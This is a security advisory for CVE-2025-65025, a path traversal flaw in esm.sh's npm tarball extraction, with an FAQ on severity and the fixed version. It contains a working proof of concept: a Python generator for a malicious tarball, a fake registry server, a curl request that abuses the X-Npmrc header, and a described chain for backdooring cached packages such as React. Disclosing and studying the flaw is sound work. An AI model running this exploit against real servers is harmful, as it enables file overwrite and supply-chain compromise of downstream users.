CVE-2025-65025

The esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction.
An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js).
When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory.

Uploading files containing ../ in the path is not allowed on official registries (npm, GitHub), but the X-Npmrc header allows specifying any arbitrary registry.
By setting the registry to an attacker-controlled server via the X-Npmrc header, this vulnerability can be triggered.

Details

file: server/npmrc.go
line: 552-567

func extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) {
    
    pkgDir := path.Join(installDir, "node_modules", pkgName)
    
    tr := tar.NewReader(unziped)
    for {
        h, err := tr.Next()
        // ...
        
        // Strip tarball root directory
        _, name := utils.SplitByFirstByte(h.Name, '/')  // "package/../../tmp/evil" → "../../tmp/evil"
        filename := path.Join(pkgDir, name)             // ← No validation
        
        if h.Typeflag != tar.TypeReg {
            continue 
        }
        
        // Extension filtering
        extname := path.Ext(filename)
        if !(extname != "" && (allowed_extensions)) {
            continue  // Only extract .js, .css, .json, etc.
        }
        
        ensureDir(path.Dir(filename))
        f, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)
        // ← File created without path validation!
        // ...
    }
}

The code uses path.Join(pkgDir, name), which normalizes the path and allows sequences like ../../ to escape the intended package directory.

pkgDir: /esm/npm/[email protected]/node_modules/evil-pkg
name:   ../../../../../../tmp/pyozzi.js
result:   /esm/npm/[email protected]/node_modules/evil-pkg/../../../../../../tmp/pyozzi.js
        → /tmp/pyozzi.js  (path traversal)

PoC

Test On

• esm.sh Official Docker Image (latest version)
• python 3.11
• flask (for attacker registry server)

Step 1. Create Malicious tarball file

#!/usr/bin/env python3
"""
Malicious Tarball Generator for esm.sh Path Traversal
Creates tarball with path traversal payloads
"""

import tarfile
import io,os
import json
from datetime import datetime

def create_malicious_tarball(package_name="test-tarslip"):
    
    # PoC file Content
    poc_payload = b"""// Path Traversal PoC
    // This file was created via tarslip attack
    // Location: /tmp/pyozzi.js

    console.log('[!!!] Path Traversal Successful!');
    console.log('Package: %s');
    console.log('Researcher: pyozzi');

    module.exports = {
        poc: true,
        vulnerability: 'CWE-22 Path Traversal',
        package: '%s'
    };
    """ % (package_name.encode(), package_name.encode())
    
    files = {
        "package/index.js": b"module.exports = { version: '1.0.0', test: true };",
        "package/package.json": json.dumps({
            "name": package_name,
            "version": "1.0.0",
            "description": "Test package for security research",
            "main": "index.js",
            "keywords": ["test", "security", "research"],
            "author": "Security Researcher",
            "license": "MIT"
        }, indent=2).encode(),
        
        "package/../../../../../../../../../tmp/pyozzi.js": poc_payload,
    }
    
    # Create Tarball
    
    tarball_name = f"{package_name}-1.0.0.tgz"
    
    print("Creating tarball with payloads:")
    print()
    
    with tarfile.open(tarball_name, "w:gz") as tar:
        for name, content in files.items():
            info = tarfile.TarInfo(name=name)
            info.size = len(content)
            info.mode = 0o755
            info.mtime = int(datetime.now().timestamp())
            tar.addfile(info, io.BytesIO(content))

    print(f"File: {tarball_name}")
    print(f"Size: {os.path.getsize(tarball_name)} bytes")

    # Check Tarball Content
    print("Tarball contents:")
    with tarfile.open(tarball_name, "r:gz") as tar:
        for member in tar.getmembers():
            marker = ">> " if "../" in member.name else "   "
            mode = oct(member.mode)[-3:]
            print(f"{marker}{member.name} (mode: {mode})")

if __name__ == '__main__':
    create_malicious_tarball()

output:

 $ python create_tarball.py
Creating tarball with payloads:

File: test-tarslip-1.0.0.tgz
Size: 545 bytes
Tarball contents:
   package/index.js (mode: 755)
   package/package.json (mode: 755)
>> package/../../../../../../../../../tmp/pyozzi.js (mode: 755)

Step 2. Run Fake Registry Server

# fake-npm-registry.py
from flask import Flask, jsonify, send_file

app = Flask(__name__)

MALICIOUS_TARBALL = "/tmp/test-tarslip-1.0.0.tgz" # HERE MALICIOUS TAR PATH
REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER

@app.route('/<package>')
def get_metadata(package):
    return jsonify({
        "name": package,
        "versions": {
            "1.0.0": {
                "name": package,
                "version": "1.0.0",
                "dist": {
                    "tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz"
                }
            }
        },
        "dist-tags": {"latest": "1.0.0"}
    })

@app.route('/<package>/-/<filename>')
def get_tarball(package, filename):
    return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9999)

python3 fake-npm-registry.py

Step 3. Request Malicious Package with X-Npmrc Header

curl "http://localhost:8080/[email protected]" \
  -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'

Step 4. Check Path Traversal

docker exec esm-test cat /tmp/pyozzi.js

# ouput:
// Path Traversal PoC
    // This file was created via tarslip attack
    // Location: /tmp/pyozzi.js

    console.log('[!!!] Path Traversal Successful!');
    console.log('Package: test-tarslip');
    console.log('Researcher: pyozzi');

    module.exports = {
        poc: true,
        vulnerability: 'CWE-22 Path Traversal',
        package: 'test-tarslip'
    };
...

This vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh's cache. Package lists and file paths can be discovered through esm.sh's REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages.

Attack Chain:

1. Attacker identifies popular packages and their cached build file locations via API enumeration
2. Uses path traversal to overwrite cached build files (e.g., /esm/storage/modules/[email protected]/es2022/react.mjs)
3. Injects malicious code into the build files
4. Any application importing these packages receives the backdoored version
5. Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications)

Impact Scale:

• Affects all downstream users of compromised packages
• Can target specific frameworks (React, Vue, etc.) used by thousands of applications
• Enables XSS in browsers, RCE in Electron applications
• Difficult to detect as traffic appears legitimate

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2025-65025 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20251117232647-9d77b88c3207); upgrading removes the vulnerable code path.

Kodem intelligence

1. Path validation is required when unpacking a tar file.
2. X-Npmrc whitelist logic is required.

1. What is CVE-2025-65025? CVE-2025-65025 is a high-severity path traversal vulnerability in github.com/esm-dev/esm.sh (go), affecting versions < 0.0.0-20251117232647-9d77b88c3207. It is fixed in 0.0.0-20251117232647-9d77b88c3207. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2025-65025? CVE-2025-65025 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/esm-dev/esm.sh are affected by CVE-2025-65025? github.com/esm-dev/esm.sh (go) versions < 0.0.0-20251117232647-9d77b88c3207 is affected.
4. Is there a fix for CVE-2025-65025? Yes. CVE-2025-65025 is fixed in 0.0.0-20251117232647-9d77b88c3207. Upgrade to this version or later.
5. Is CVE-2025-65025 exploitable, and should I be worried? Whether CVE-2025-65025 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-65025 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-65025? Upgrade github.com/esm-dev/esm.sh to 0.0.0-20251117232647-9d77b88c3207 or later.